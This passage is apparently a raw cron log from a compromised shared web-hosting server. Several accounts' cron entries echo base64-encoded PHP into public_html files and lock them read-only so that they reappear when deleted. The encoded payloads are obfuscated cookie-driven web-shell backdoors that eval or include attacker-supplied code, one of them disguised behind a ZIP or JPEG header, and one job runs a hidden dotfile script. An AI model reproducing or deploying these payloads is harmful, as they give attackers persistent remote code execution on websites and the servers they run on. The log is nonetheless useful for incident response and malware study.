JiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:36:01 medusa CROND[27277]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:36:01 medusa CROND[27285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:36:01 medusa CROND[27286]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:36:01 medusa CROND[27287]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:37:01 medusa CROND[16627]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:37:01 medusa CROND[16628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:37:01 medusa CROND[16629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:37:01 medusa CROND[16630]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:37:01 medusa CROND[16631]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:37:01 medusa CROND[16632]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 04:37:01 medusa CROND[16633]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:37:01 medusa CROND[16641]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:37:01 medusa CROND[16640]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:37:01 medusa CROND[16642]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:37:01 medusa CROND[16643]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 04:37:01 medusa CROND[16644]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:37:01 medusa CROND[16650]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:38:01 medusa CROND[6835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:38:01 medusa CROND[6908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:38:01 medusa CROND[6909]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 04:38:01 medusa CROND[6907]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:38:01 medusa CROND[6911]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:38:01 medusa CROND[6912]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:38:01 medusa CROND[6918]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:38:01 medusa CROND[6919]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:38:01 medusa CROND[6921]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:38:01 medusa CROND[6922]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:38:01 medusa CROND[6925]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:38:01 medusa CROND[6927]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:38:01 medusa CROND[6928]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfd